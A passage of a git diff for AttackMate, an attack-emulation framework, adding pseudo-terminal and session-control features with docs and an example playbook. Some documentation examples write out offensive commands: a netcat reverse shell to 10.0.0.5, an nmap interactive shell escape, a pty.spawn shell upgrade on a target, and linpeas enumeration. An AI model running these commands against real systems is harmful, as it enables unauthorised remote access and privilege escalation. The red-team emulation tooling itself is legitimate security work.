diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 7e43bff43..3653f1a1f 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -18,7 +18,7 @@ repos: rev: v1.10.1 hooks: - id: mypy - additional_dependencies: [pydantic, types-PyYAML, types-requests, types-paramiko, types-tabulate] + additional_dependencies: [pydantic, types-PyYAML, types-requests, types-paramiko, types-tabulate, pyte] - repo: https://github.com/myint/autoflake rev: 'v2.3.1' diff --git a/docs/source/playbook/commands/index.rst b/docs/source/playbook/commands/index.rst index 9454fd3fa..fb0654da7 100644 --- a/docs/source/playbook/commands/index.rst +++ b/docs/source/playbook/commands/index.rst @@ -53,6 +53,46 @@ Every command, regardless of its type supports the following general options: :type: bool :default: ``True`` +.. confval:: use_exit_code + + Let the command's real exit status decide whether the step failed. + + :type: bool + :default: ``False`` + + ``shell`` and ``ssh`` steps report success regardless of what the command + actually did, so :confval:`exit_on_error` never fires for them. The true + status is always written to ``attackmate.json`` as ``exit-status``; setting + this makes it the step's return code as well, so ``exit_on_error`` and + ``loop_if`` act on it. + + It is off by default because turning it on changes whether existing + playbooks fail. Note that inside a live session no true status exists - the + shell is still running - so it is recorded as ``null`` unless the command + also sets ``wait_for_exit``. + +.. confval:: substitute_cmd_vars + + Substitute ``$variables`` in :confval:`cmd` before running it. + + :type: bool + :default: ``True`` + + Set it to ``False`` to run the command exactly as written. Substitution uses + ``string.Template``, which also collapses ``$$`` into a single ``$`` - and in + a shell ``$$`` is the process id, so ``kill -9 $$``, ``/tmp/f.$$`` and + ``echo $$ > pidfile`` are all rewritten, with ``attackmate.json`` recording + the rewritten form. + + .. code-block:: yaml + + commands: + - type: shell + cmd: kill -9 $$ + substitute_cmd_vars: False + + Only ``cmd`` is affected; other fields are still templated. + .. confval:: error_if Raise an error if the given pattern is found in the command output. @@ -267,6 +307,7 @@ The next pages will describe each command type in detail. msf-session payload regex + session remote setvar shell diff --git a/docs/source/playbook/commands/session.rst b/docs/source/playbook/commands/session.rst new file mode 100644 index 000000000..410ffe53c --- /dev/null +++ b/docs/source/playbook/commands/session.rst @@ -0,0 +1,83 @@ +.. _session_command: + +======= +session +======= + +Close or inspect an open session from within a playbook. + +Sessions otherwise live until the end of the run, and a playbook has no way to +ask whether one is still alive - so it can only discover that its foothold has +dropped by sending a command into it and failing. + +.. code-block:: yaml + + commands: + # Open a session: + - type: shell + cmd: "nc -e /bin/sh 10.0.0.5 4444 &\n" + interactive: True + creates_session: foothold + + # Check it before relying on it: + - type: session + cmd: status + session: foothold + + # Finish with it early rather than at the end of the run: + - type: session + cmd: close + session: foothold + +.. confval:: cmd + + What to do with the session. + + ``close`` terminates it and everything it started; ``status`` reports whether + it is still alive without changing anything. + + :type: str + :default: ``close`` + :required: False + +.. confval:: session + + Name of the session, as given to ``creates_session``. + + :type: str + :required: True + +.. confval:: executor + + Which kind of session to act on. + + :type: str + :default: ``shell`` + :required: False + + ``shell`` covers both pipe-based and pseudo-terminal sessions. ``ssh`` covers + ssh sessions, and also forgets the session's terminal screen, so that a later + session reusing the name does not inherit it. + + Sessions belonging to ``msf``, ``sliver`` and ``browser`` are not supported + here and are still closed only at the end of the run. + +Return codes +------------ + +Both forms return ``0`` on success and ``1`` when the session does not exist, or +when ``status`` finds a session that has exited. Combine with +``exit_on_error: False`` to check a session without ending the run: + +.. code-block:: yaml + + commands: + - type: session + cmd: status + session: foothold + exit_on_error: False + + # $RESULT_RETURNCODE is "0" when the session is alive. + - type: shell + cmd: echo "the foothold is gone, reconnecting" + only_if: "'$RESULT_RETURNCODE' == '1'" diff --git a/docs/source/playbook/commands/shell.rst b/docs/source/playbook/commands/shell.rst index 32d5dfea2..709bf1bfb 100644 --- a/docs/source/playbook/commands/shell.rst +++ b/docs/source/playbook/commands/shell.rst @@ -1,3 +1,5 @@ +.. _shell: + ===== shell ===== @@ -42,11 +44,17 @@ Interactive Mode Instead of waiting for the command to finish, AttackMate reads output until no new output appears for :confval:`command_timeout` - seconds. Useful for commands that require follow-up keystrokes (e.g. opening ``vim`` - and sending input in a subsequent command). + seconds. Useful for programs that keep running and accept follow-up commands, + such as ``nmap --interactive``. This mode works only on Unix and Unix-like systems. + .. note:: + + The command still runs on a pipe, not a terminal. Editors such as ``vim`` + and ``nano``, and anything that prompts for a password like ``sudo``, need + :confval:`pty` instead. + .. warning:: Commands executed in interactive mode **MUST** end with a newline character (``\n``). @@ -87,10 +95,15 @@ Interactive Mode .. confval:: command_timeout - Seconds to wait for new output before stopping in interactive mode. + Seconds to wait for new output before stopping in interactive or + pseudo-terminal mode. + + In pseudo-terminal mode, ``0`` means "no time limit": the command then reads + until one of the :confval:`prompts` matches, so at least one prompt must be + configured. :type: int - :default: ``15`` + :default: ``10`` :required: False .. confval:: read @@ -103,6 +116,228 @@ Interactive Mode :default: ``True`` :required: False +Pseudo-Terminal Mode +-------------------- + +Interactive mode runs a command for a limited time, but the command still talks +to a pipe. Many programs behave differently, or refuse to run at all, when they +are not attached to a terminal: + +* ``vim`` and ``nano`` report *"Output is not to a terminal"* and never draw a screen. +* ``sudo``, ``su`` and ``ssh`` read passwords from ``/dev/tty`` rather than from + standard input, so a password sent as a normal command never reaches them. + +Pseudo-terminal mode gives the shell a real terminal, which makes all of these work. + +.. confval:: pty + + Run the command behind a pseudo-terminal. + + :type: bool + :default: ``False`` + :required: False + + This mode works only on Unix and Unix-like systems; on Windows the command + fails with a non-zero return code instead of running. + + Output is read exactly as in :confval:`interactive` mode - until no new output + has arrived for :confval:`command_timeout` seconds, or one of the + :confval:`prompts` matches - so ``interactive`` does not need to be set as well. + + .. code-block:: yaml + + commands: + # Open vim in a pseudo-terminal and keep the session: + - type: shell + cmd: "vim /tmp/notes\n" + pty: True + creates_session: editor + + # Type a line and save. is sent as a real escape key: + - type: shell + cmd: "iHello World:wq!\n" + pty: True + session: editor + +.. confval:: raw + + Put the terminal in raw mode, disabling ``icanon``, ``echo``, ``isig`` and + ``icrnl``. + + :type: bool + :default: ``True`` + :required: False + + A pseudo-terminal otherwise comes up in the line-editing mode meant for a + human at a keyboard. That is invisible for a local full-screen program, which + sets raw mode itself on startup, and fatal when the session is a *transport* - + a program running on a remote host can never change the line discipline of a + terminal on this one: + + * ``icanon`` holds a lone control key, such as nano's ````, in the local + line buffer, so it never reaches the far end; + * ``isig`` turns ```` into a signal against the local shell instead of + sending it onward; + * ``echo`` returns every command, so a session's output contains the commands + as well as their results - and that is what :confval:`error_if` and + :confval:`save` then see. + + Set it to ``False`` when you want the local signal behaviour, for example to + interrupt a local program with ````. + + .. note:: + + With ``icrnl`` off, a full-screen program expects a real carriage return. + Send ```` rather than ``\n`` to answer a prompt inside one - nano's + "File Name to Write" prompt, for instance. Shell command lines are + unaffected and still end with ``\n``. + +.. confval:: expand_keys + + Translate key names such as ````, ````, ````, ````, ```` + and ```` (Ctrl-X) in :confval:`cmd` into the bytes a terminal sends. + + :type: bool + :default: ``True`` when :confval:`pty` is set, otherwise ``False`` + :required: False + + Set it to ``False`` to send such text literally, or write ```` to produce + a single ``<`` while expansion is on. Unrecognised markers are left alone, so + ordinary text containing angle brackets is unaffected. Key names are ignored + in :confval:`bin` mode, which always sends raw bytes. + + .. warning:: + + Some key names are also ordinary HTML tags. ``PAYLOAD`` and + ``PAYLOAD`` contain the key names ```` and ````, so + with expansion on they are rewritten into keypresses. Set + ``expand_keys: False`` on any command carrying markup - a reproduced XSS + or HTML-injection payload, for instance. + +.. confval:: screen + + Render the output as a terminal screen instead of a stream of bytes. + + :type: bool + :default: ``False`` + :required: False + + Full-screen programs draw by moving the cursor around, so their raw output is + a series of fragments in write order rather than what a user would see. In + screen mode AttackMate emulates a terminal and returns the resulting text, + which is what makes :confval:`error_if` and :confval:`save` useful against + programs like ``nano`` or ``top``. + + Two consequences are worth knowing: + + * The result is the whole visible screen, so lines from an earlier command in + the same session appear again as long as they are still on screen. + * Whether a session renders a screen is decided by the command that creates + it. A later command on the same session cannot switch it on. + + .. code-block:: yaml + + commands: + - type: shell + cmd: "nano /tmp/notes\n" + pty: True + screen: True + creates_session: editor + + # Ctrl-O writes the file, Ctrl-X leaves nano: + - type: shell + cmd: "Hello" + pty: True + session: editor + +.. confval:: prompts + + Strings that end a read early. As soon as the output ends with one of them, + AttackMate stops waiting instead of sitting out :confval:`command_timeout`. + + :type: list[str] + :default: ``[]`` + :required: False + +.. confval:: read_timeout + + Total number of seconds one read may take, however much output arrives. + + :type: int + :default: ``None`` (no bound) + :required: False + + :confval:`command_timeout` measures *silence*, so it cannot end a command + that keeps producing output. This bounds the whole read instead. + +.. confval:: wait_for_exit + + Return when the command has actually finished, and report its real exit + status. + + :type: bool + :default: ``False`` + :required: False + + Inside a session there is nothing to wait on - the shell does not exit + between commands - so "run this and tell me when it is done" is unanswerable + unless the command reports it. AttackMate therefore appends + ``; echo "$?"`` and reads until the marker appears, which supplies + both the completion signal and the exit status. The marker is removed from + the output. + + Use it for a long step that produces no prompt and may fall silent while + still running, such as an enumeration script. + + .. note:: + + This works for both :confval:`pty` and :confval:`interactive` sessions. A + plain non-interactive command needs no marker and does not get one: it is + run to completion anyway, and already reports a real ``exit-status``. + + .. warning:: + + This is the only option that rewrites the command before it runs. If a + playbook has to reproduce commands verbatim, leave it off. It cannot be + combined with :confval:`bin`, which sends raw bytes. + + .. code-block:: yaml + + commands: + - type: shell + cmd: ./linpeas.sh + pty: True + wait_for_exit: True + read_timeout: 900 + +.. confval:: term + + Value of the ``TERM`` environment variable given to the command. + + :type: str + :default: ``xterm-256color`` + :required: False + +.. confval:: pty_rows + + Height of the terminal reported to the command. + + :type: int + :default: ``24`` + :required: False + +.. confval:: pty_cols + + Width of the terminal reported to the command. + + :type: int + :default: ``80`` + :required: False + + Terminal size decides where a full-screen program wraps and truncates its + output, and in :confval:`screen` mode it also decides how much text the + result can contain. + Binary Mode ----------- diff --git a/docs/source/playbook/commands/ssh.rst b/docs/source/playbook/commands/ssh.rst index 52f135303..cbb864759 100644 --- a/docs/source/playbook/commands/ssh.rst +++ b/docs/source/playbook/commands/ssh.rst @@ -257,6 +257,76 @@ Interactive Mode password: password creates_session: attacker +Terminal Handling +----------------- + +An interactive ``ssh`` command already runs behind a terminal on the remote host, +so unlike :ref:`shell` commands it needs no ``pty`` option. What it does +need is a way to make terminal output readable, and a way to send keystrokes. + +These options apply to :confval:`interactive` commands only. Non-interactive +commands run without a terminal, so there is nothing to translate. + +.. confval:: screen + + Render the output as a terminal screen instead of a stream of bytes. + + :type: bool + :default: ``False`` + :required: False + + Full-screen programs draw by moving the cursor, so their raw output is a + series of fragments rather than what a user would see. Screen mode emulates a + terminal and returns the resulting text. The screen belongs to the session, so + it keeps its contents across commands, and the whole visible screen is + returned each time. + +.. confval:: expand_keys + + Translate key names such as ````, ````, ````, ````, ```` + and ```` (Ctrl-X) in :confval:`cmd` into the bytes a terminal sends. + + :type: bool + :default: ``False`` + :required: False + + Off by default so that existing playbooks keep sending their text verbatim. + Write ```` for a literal ``<`` while expansion is on. + + .. code-block:: yaml + + commands: + # Leave a stuck full-screen program by sending real keystrokes: + - type: ssh + cmd: ":q!" + interactive: True + expand_keys: True + session: attacker + +.. confval:: term + + Terminal type requested for the remote shell. + + :type: str + :default: ``vt100`` + :required: False + +.. confval:: pty_rows + + Height of the terminal requested for the remote shell. + + :type: int + :default: ``24`` + :required: False + +.. confval:: pty_cols + + Width of the terminal requested for the remote shell. + + :type: int + :default: ``80`` + :required: False + Binary Mode ----------- diff --git a/docs/source/playbook/examples.rst b/docs/source/playbook/examples.rst index 6ae84bd9c..667643110 100644 --- a/docs/source/playbook/examples.rst +++ b/docs/source/playbook/examples.rst @@ -29,6 +29,7 @@ Playbooks * `HTTP-client example `_ * `Include command example `_ * `Only If example `_ +* `Pseudo-terminal example (vim, nano) `_ * `SSH/SFTP example `_ * `Upgrade meterpreter shell `_ * `Fileshare via webserv example `_ diff --git a/docs/source/playbook/session/index.rst b/docs/source/playbook/session/index.rst index e782beb3e..e642d78dd 100644 --- a/docs/source/playbook/session/index.rst +++ b/docs/source/playbook/session/index.rst @@ -31,8 +31,8 @@ Interactive Most commands work by executing something and waiting for the process to finish before collecting its output. This breaks down for interactive programs that wait for user input -and never terminate on their own — for example, opening ``vim`` from a shell command would -cause AttackMate to wait forever for output that never comes. +and never terminate on their own — for example, a command that opens a pager would cause +AttackMate to wait forever for output that never comes. Interactive mode solves this by running a command for a limited time only. Instead of waiting for the process to finish, AttackMate reads output until no new output has arrived @@ -42,44 +42,108 @@ for a configurable timeout period, then moves on to the next command. Commands executed in interactive mode **MUST** end with a newline character (``\n``). -The following example opens ``vim``, remaps a key, types text, and saves the file — all -using a combination of sessions and interactive mode: +The following example starts ``nmap`` in its interactive mode and then sends it a +second command through the same session: .. code-block:: yaml commands: - # Open vim and create a session: + # Start nmap in interactive mode and create a session: - type: shell - cmd: "vim /tmp/test\n" + cmd: "nmap --interactive\n" interactive: True - creates_session: vim + creates_session: scanner - # Remap 'jj' to Escape in insert mode: + # Send a command to the running program: - type: shell - cmd: ":inoremap jj \n" + cmd: "!sh\n" interactive: True - session: vim + session: scanner + +Pseudo-Terminal +--------------- + +Interactive mode limits how long AttackMate waits, but the command still talks to a +pipe rather than a terminal. Programs that insist on a terminal are not satisfied by +that: ``vim`` and ``nano`` report *"Output is not to a terminal"* and never draw a +screen, and ``sudo``, ``su`` and ``ssh`` read passwords from ``/dev/tty`` instead of +standard input, so a password sent as an ordinary command never reaches them. + +Setting ``pty: True`` on a ``shell`` command gives it a real terminal and makes all of +these work. Key names such as ```` are then sent as actual keystrokes. + +.. note:: + + ``ssh`` commands already get a terminal from the remote host when + ``interactive`` is set, so they have no ``pty`` option. + +The following example opens ``vim``, types text, and saves the file: - # Enter insert mode: +.. code-block:: yaml + + commands: + # Open vim in a pseudo-terminal and create a session: - type: shell - cmd: "o" - interactive: True - session: vim + cmd: "vim /tmp/test\n" + pty: True + creates_session: vim - # Type some text: + # Enter insert mode and type some text: - type: shell - cmd: "Hello World" - interactive: True + cmd: "oHello World" + pty: True session: vim - # Exit insert mode using the remapped key: + # Leave insert mode with a real Escape key, then save and quit: - type: shell - cmd: "jj" - interactive: True + cmd: ":wq!\n" + pty: True session: vim - # Save and quit: +For programs that repaint the screen, such as ``nano`` or ``top``, add ``screen: True`` +so that AttackMate returns the text as displayed rather than the raw drawing +instructions. See :ref:`commands` for the full list of options. + +Driving a program on another host +--------------------------------- + +A pseudo-terminal is also what makes a session usable as a *transport* — driving a +program that runs on the target rather than locally. Two things are worth knowing +before doing that. + +**The terminal is on the attacker's host.** A program running on the target cannot +change its line discipline, which is why ``pty`` sessions are raw by default. In the +default line-editing mode a lone ```` or ```` never leaves the local buffer, +and a ```` raises a signal against the local shell instead of travelling. + +**The remote shell has no ``TERM``.** A shell reached through a reverse shell inherits +nothing from your environment, and ``pty.spawn`` on the target allocates a pts without +setting ``TERM``, so ncurses aborts before drawing anything: + +.. code-block:: text + + Error opening terminal: unknown. + +AttackMate cannot set this for you — it is an environment variable on a host it does +not control — so export it through the session itself, as +``examples/includes/upgrade_shell.yml`` does: + +.. code-block:: yaml + + commands: + # Upgrade the remote shell to a pty on the target: - type: shell - cmd: ":wq!\n" - interactive: True - session: vim + cmd: "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n" + pty: True + session: foothold + + # ncurses needs this, or it refuses to draw: + - type: shell + cmd: "export TERM=xterm\n" + pty: True + session: foothold + + - type: shell + cmd: "stty rows 24 columns 80\n" + pty: True + session: foothold diff --git a/docs/source/playbook/troubleshooting.rst b/docs/source/playbook/troubleshooting.rst index 7f418c3f2..fa73c0d49 100644 --- a/docs/source/playbook/troubleshooting.rst +++ b/docs/source/playbook/troubleshooting.rst @@ -496,6 +496,165 @@ by the remote instance rather than locally. ---- +Shell Command Errors +==================== + +.. _error-shell-not-a-terminal: + +Program Refuses To Run Or Produces Unreadable Output +---------------------------------------------------- + +**Symptom** + +.. code-block:: text + + INFO | Executing Shell-Command: 'vim /tmp/notes' + OUTPUT | Vim: Warning: Output is not to a terminal + OUTPUT | Vim: Warning: Input is not from a terminal + +Other forms of the same problem: + +* ``sudo: no tty present and no askpass program specified`` +* ``su`` or ``ssh`` never accept a password sent as the next command +* ``nano``, ``top`` or another full-screen program returns a jumble of + ``\x1b[`` sequences instead of readable text + +**Cause** + +By default a ``shell`` command is connected to pipes rather than a terminal. +Editors and other full-screen programs detect this and refuse to draw a screen, +and ``sudo``, ``su`` and ``ssh`` read passwords from ``/dev/tty``, which does not +exist without a controlling terminal - so a password sent as an ordinary command +never reaches them. + +**Solution** + +* Set ``pty: True`` on the command to give it a real terminal. +* Add ``screen: True`` for programs that repaint the screen, so AttackMate + returns the text as displayed rather than the drawing instructions. +* Send keystrokes by name, for example ````, ```` or ````. + +.. code-block:: yaml + + # Wrong - vim has no terminal and will not start: + - type: shell + cmd: "vim /tmp/notes\n" + interactive: True + creates_session: editor + +.. code-block:: yaml + + # Correct: + - type: shell + cmd: "vim /tmp/notes\n" + pty: True + creates_session: editor + +.. seealso:: + :ref:`session` for the difference between interactive and pseudo-terminal mode. + +---- + +.. _error-shell-pty-hangs: + +Pseudo-Terminal Command Waits Forever +------------------------------------- + +**Symptom** + +A command with ``pty: True`` never returns, or an error is raised at playbook +start: + +.. code-block:: text + + ERROR | command_timeout 0 waits for a prompt, so at least one entry in + 'prompts' is required. Set a timeout or define prompts. + +**Cause** + +``command_timeout: 0`` means "no time limit, stop when a prompt appears". Without +any configured ``prompts`` there is nothing that can end the read. + +A command can also appear to hang when it keeps producing output: reading stops +after ``command_timeout`` seconds of *silence*, so a program that never falls +silent is never interrupted. + +**Solution** + +* Set ``prompts`` to the strings your shell ends with, for example ``["$ ", "# "]``. +* Or give ``command_timeout`` a non-zero value. + +.. seealso:: + :ref:`commands` for the full list of pseudo-terminal options. + +---- + +.. _error-shell-session-exited: + +Session Has Exited +------------------ + +**Symptom** + +.. code-block:: text + + ERROR | Shell-Session 'foothold' has exited + +or, for a session that dies while the command is being written: + +.. code-block:: text + + ERROR | Shell-Session is no longer accepting input: [Errno 32] Broken pipe + +**Cause** + +The shell behind the session is gone — a reverse shell dropped, or a command in +the session exited it. Earlier versions wrote into the dead shell and died of an +uncaught ``BrokenPipeError``, ending the playbook without recording the step. + +**Solution** + +* Check a session before relying on it with ``type: session`` and ``cmd: status``. +* Set ``exit_on_error: False`` on the step if losing the session is expected, and + branch on ``$RESULT_RETURNCODE``. +* Remember that ``exit`` inside a session ends the session itself. Use a subshell + — ``(exit 3)`` — when you only want to set a status. + +.. seealso:: + :ref:`session_command` for checking and closing sessions from a playbook. + +---- + +.. _error-shell-step-never-finished: + +Step Recorded As Complete While It Is Still Running +--------------------------------------------------- + +**Symptom** + +``attackmate.json`` shows a step finishing long before its work did — processes +it started are still running after the log says it completed. + +**Cause** + +``command_timeout`` is an *idle* timeout: a step returns once no new output has +arrived for that long, not when the command exits. A script that pauses while +working therefore looks finished. + +**Solution** + +* Set ``wait_for_exit: True`` so the step returns on actual completion and + records the command's real exit status. +* Add ``read_timeout`` to bound the whole read, for a command that never falls + silent at all. +* Compare ``start-datetime`` with ``end-datetime`` in ``attackmate.json`` to see + how long a step really took. + +.. seealso:: + :ref:`shell` for ``wait_for_exit`` and ``read_timeout``. + +---- + SSH Command Errors ================== diff --git a/examples/pty_example.yml b/examples/pty_example.yml new file mode 100644 index 000000000..70faf0951 --- /dev/null +++ b/examples/pty_example.yml @@ -0,0 +1,115 @@ +### +# Author: AttackMate +# +# Description: +# Demonstrates pseudo-terminal mode for shell commands. +# 1. Edit a file with vim, driven by real keystrokes +# 2. Verify what vim actually wrote +# 3. Drive nano, a full-screen editor, using screen mode +# 4. Show that a terminal is attached at all +# +# Requirements: +# 1. A Unix-like system (pseudo-terminals are not available on Windows) +# 2. vim and nano installed +### +vars: + $TARGET_FILE: /tmp/attackmate_pty_demo.txt + +commands: + # Programs like vim refuse to draw a screen without a terminal. pty: True + # gives the shell one, so the editor starts normally. + - type: shell + cmd: "vim $TARGET_FILE\n" + pty: True + creates_session: editor + metadata: + description: "Open vim in a pseudo-terminal and keep the session open" + + # is expanded into a real escape key. Key expansion is on by default + # whenever pty is set. + - type: shell + cmd: "oHello from AttackMate:wq!\n" + pty: True + session: editor + metadata: + description: "Type a line in vim, leave insert mode and save the file" + + # A plain command, no terminal needed - this proves vim really wrote the file. + - type: shell + cmd: cat $TARGET_FILE + error_if_not: "Hello from AttackMate" + metadata: + description: "Verify the content vim saved" + + # nano repaints the whole screen, so its raw output is a stream of cursor + # movements. screen: True renders what would be displayed instead. + - type: shell + cmd: "nano $TARGET_FILE\n" + pty: True + screen: True + pty_rows: 24 + pty_cols: 80 + creates_session: nano + metadata: + description: "Open nano and render its screen" + + # Ctrl-O writes the file, Enter confirms the name, Ctrl-X exits. + - type: shell + cmd: "Edited by AttackMate" + pty: True + session: nano + metadata: + description: "Write and close the file using nano's control keys" + + - type: shell + cmd: cat $TARGET_FILE + error_if_not: "Edited by AttackMate" + metadata: + description: "Verify the content nano saved" + + # Without pty this prints RESULT=no, which is why sudo and su cannot prompt + # for a password on the default shell path. + - type: shell + cmd: "test -t 0 && printf 'RESULT=%s\\n' yes || printf 'RESULT=%s\\n' no\n" + pty: True + prompts: + - "$ " + - "# " + error_if_not: "RESULT=yes" + metadata: + description: "Confirm that the command really runs attached to a terminal" + + # command_timeout measures silence, so a script that pauses looks finished. + # wait_for_exit reads until the command really ends and reports its status. + - type: shell + cmd: "sleep 3; echo SCAN_COMPLETE; (exit 0)" + pty: True + wait_for_exit: True + read_timeout: 60 + use_exit_code: True + error_if_not: "SCAN_COMPLETE" + creates_session: worker + metadata: + description: "Wait for a slow command to finish instead of for it to fall silent" + + # A playbook can check its own foothold before sending commands into it. + - type: session + cmd: status + session: worker + metadata: + description: "Confirm the session is still alive" + + # Sessions otherwise stay open until the run ends. + - type: session + cmd: close + session: worker + metadata: + description: "Close the session as soon as it is no longer needed" + + # string.Template collapses $$ into $, and in a shell $$ is the process id. + - type: shell + cmd: echo "PID_IS:$$" + substitute_cmd_vars: False + error_if: "PID_IS:\\$$" + metadata: + description: "Run a command verbatim, without variable substitution" diff --git a/pyproject.toml b/pyproject.toml index c14ca28d5..4cdd2fec5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -29,6 +29,7 @@ dependencies = [ "passlib", "python-multipart>=0.0.32", "attackmate-client>=0.1.2", + "pyte", ] dynamic = ["version"] diff --git a/src/attackmate/attackmate.py b/src/attackmate/attackmate.py index 52d6f96bb..bf41b1a50 100644 --- a/src/attackmate/attackmate.py +++ b/src/attackmate/attackmate.py @@ -78,8 +78,11 @@ def __init__( self._initialize_variable_parser(varstore) self.msfsessionstore = executors.MsfSessionStore(self.varstore) - self.executor_config = self._get_executor_config() + # Built before the executor config, which hands this same dict to the + # session executor so it can reach the store of whichever executor owns + # a given session. self.executors: Dict[str, BaseExecutor] = {} + self.executor_config = self._get_executor_config() self.is_api_instance = is_api_instance def _default_playbook(self) -> Playbook: @@ -103,7 +106,14 @@ def _initialize_variable_parser(self, varstore: Optional[Dict] = None): # if attackmate is imported and initialized in another project, vars can be passed as dict # otherwise variable store is initialized with vars from playbook self.varstore.from_dict(varstore if varstore else self.playbook.vars) - self.varstore.replace_with_prefixed_env_vars() + replaced = self.varstore.replace_with_prefixed_env_vars() + if replaced: + # Without this the playbook on disk does not fully determine what + # ran, and nothing anywhere records the difference. + self.logger.warning( + 'Variables overridden from the environment ' + f'(ATTACKMATE_ prefix): {", ".join(sorted(replaced))}' + ) def _get_executor_config(self) -> dict: config = { @@ -116,6 +126,7 @@ def _get_executor_config(self) -> dict: 'msfsessionstore': self.msfsessionstore, 'sliver_config': self.pyconfig.sliver_config, 'runfunc': self._run_commands, + 'executors': self.executors, } return config @@ -164,7 +175,7 @@ async def _run_commands(self, commands: Commands): command_type = 'ssh' if command.type == 'sftp' else command.type executor = self._get_executor(command_type) if executor: - if command.type not in ('sleep', 'debug', 'setvar'): + if command.type not in ('sleep', 'debug', 'setvar', 'session'): if cfg.command_delay_jitter: offset = random.uniform(cfg.command_delay_jitter_min, cfg.command_delay_jitter_max) sign = random.choice([-1, 1]) @@ -202,6 +213,9 @@ async def clean_session_stores(self): msf_module_executor.cleanup() if (msf_session_executor := self.executors.get('msf-session')): msf_session_executor.cleanup() + # shell + if (shell_executor := self.executors.get('shell')): + shell_executor.cleanup() # ssh if (ssh_executor := self.executors.get('ssh')): ssh_executor.cleanup() @@ -224,13 +238,30 @@ async def main(self): tears down open sessions and background processes. Handles :exc:`KeyboardInterrupt` gracefully. + Cleanup runs in a ``finally``, so it happens however the run ends. It + used to sit in the ``try`` after :meth:`_run_commands`, which meant it + was skipped by every abnormal exit - and those are exactly the ones + that leave a session open on a target. ``exit_on_error``, ``error_if`` + and the loop conditions all end the run with ``exit(1)``, and the + resulting ``SystemExit`` is neither an ``Exception`` nor a + ``KeyboardInterrupt``, so it passed straight through this handler and + the one in ``__main__``. + :returns: ``0`` on completion. """ try: await self._run_commands(self.playbook.commands) - await self.clean_session_stores() - self.pm.kill_or_wait_processes() except KeyboardInterrupt: self.logger.warning('Program stopped manually') + finally: + # Teardown must not mask whatever ended the run. + try: + await self.clean_session_stores() + except Exception as e: + self.logger.error(f'Error while cleaning up sessions: {e}') + try: + self.pm.kill_or_wait_processes() + except Exception as e: + self.logger.error(f'Error while stopping background processes: {e}') return 0 diff --git a/src/attackmate/executors/__init__.py b/src/attackmate/executors/__init__.py index a4b58735c..82031bd1b 100644 --- a/src/attackmate/executors/__init__.py +++ b/src/attackmate/executors/__init__.py @@ -12,6 +12,7 @@ from .vnc.vncexecutor import VncExecutor from .bettercap.bettercapexecutor import BettercapExecutor from .common.setvarexecutor import SetVarExecutor +from .common.sessionexecutor import SessionExecutor from .common.sleepexecutor import SleepExecutor from .common.tempfileexecutor import TempfileExecutor from .common.debugexecutor import DebugExecutor @@ -37,6 +38,7 @@ 'WebServExecutor', 'HttpClientExecutor', 'SetVarExecutor', + 'SessionExecutor', 'SleepExecutor', 'TempfileExecutor', 'DebugExecutor', diff --git a/src/attackmate/executors/baseexecutor.py b/src/attackmate/executors/baseexecutor.py index 1e331bd76..461e9ac57 100644 --- a/src/attackmate/executors/baseexecutor.py +++ b/src/attackmate/executors/baseexecutor.py @@ -1,7 +1,7 @@ import logging import json from datetime import datetime -from typing import Any +from typing import Any, Optional from collections import OrderedDict from pydantic import BaseModel @@ -106,6 +106,11 @@ async def run(self, command: BaseCommand, is_api_instance: bool = False) -> Resu if command.only_if: if not Conditional.test(self.varstore.substitute(command.only_if, True)): self.logger.info(f'Skipping {getattr(command, "type", "")}({command.cmd})') + # Recorded rather than dropped: a skipped step used to be absent + # from the log altogether, which is indistinguishable from a step + # that was never in the playbook. + skipped_at = datetime.now().isoformat() + self.log_json(self.json_logger, command, skipped_at, skipped=True) return Result(None, None) self.reset_run_count() self.logger.debug(f"Template-Command: '{command.cmd}'") @@ -114,17 +119,30 @@ async def run(self, command: BaseCommand, is_api_instance: bool = False) -> Resu time_of_execution = datetime.now().isoformat() self.log_json(self.json_logger, command, time_of_execution) await self.exec_background( - self.substitute_template_vars(command, self.substitute_cmd_vars) + self.substitute_template_vars(command, self.substitutes_cmd_vars(command)) ) # the background command will return immidiately with Result('Command started in background', 0) # Return 0 instead of None so the API/Remote Client sees success result = Result('Command started in background', 0) else: result = await self.exec( - self.substitute_template_vars(command, self.substitute_cmd_vars) + self.substitute_template_vars(command, self.substitutes_cmd_vars(command)) ) return result + def substitutes_cmd_vars(self, command) -> bool: + """Whether ``cmd`` should be templated for this command. + + Both the executor and the command get a say, and either can say no. + ``LoopExecutor`` turns it off for a whole loop body so each iteration + re-substitutes; a command turns it off to run exactly what the playbook + says. That matters because ``string.Template`` collapses ``$$`` to a + single ``$``, and in a shell ``$$`` is the process id - so ``kill -9 + $$`` and ``/tmp/f.$$`` are silently rewritten, and the audit log records + the rewritten form. + """ + return self.substitute_cmd_vars and getattr(command, 'substitute_cmd_vars', True) + def log_command(self, command): """Log the start of a command execution at INFO level.""" self.logger.info(f"Executing '{command}'") @@ -134,7 +152,33 @@ def log_metadata(self, logger: logging.Logger, command): if command.metadata: logger.info(f'Metadata: {json.dumps(command.metadata)}') - def log_json(self, logger: logging.Logger, command, time): + @staticmethod + def build_result(command, output, exit_status=None) -> Result: + """Build a Result, honouring the command's ``use_exit_code`` opt-in. + + The real status is always carried in ``exit_status`` so it reaches the + audit log. ``returncode`` - which is what ``exit_on_error`` acts on - + keeps its historical value of ``0`` unless the command opts in, because + making a true status authoritative by default would start failing + playbooks that have always passed. + """ + returncode = 0 + if getattr(command, 'use_exit_code', False) and exit_status is not None: + returncode = exit_status + return Result(output, returncode, exit_status=exit_status) + + @staticmethod + def duration_seconds(start: str, end: str): + """Seconds between two ISO 8601 timestamps, or None if unparseable.""" + try: + return round( + (datetime.fromisoformat(end) - datetime.fromisoformat(start)).total_seconds(), 6 + ) + except (TypeError, ValueError): + return None + + def log_json(self, logger: logging.Logger, command, time, end_time=None, + result: Optional[Result] = None, skipped: bool = False): """ Serialize a command to JSON and write it to the JSON audit log. @@ -149,8 +193,19 @@ def log_json(self, logger: logging.Logger, command, time): The command to serialize. time : str ISO 8601 timestamp of when the command started. + end_time : str, optional + ISO 8601 timestamp of when the command finished. Absent for a + command dispatched to the background, which has not finished. + result : Result, optional + The result of the command, used for its return code. + skipped : bool, optional + Record the step as skipped by its ``only_if`` condition. Such + steps used to be left out of the log entirely, which made a + skipped step indistinguishable from one that never existed. """ - command_dict = self.make_command_serializable(command, time) + command_dict = self.make_command_serializable( + command, time, end_time=end_time, 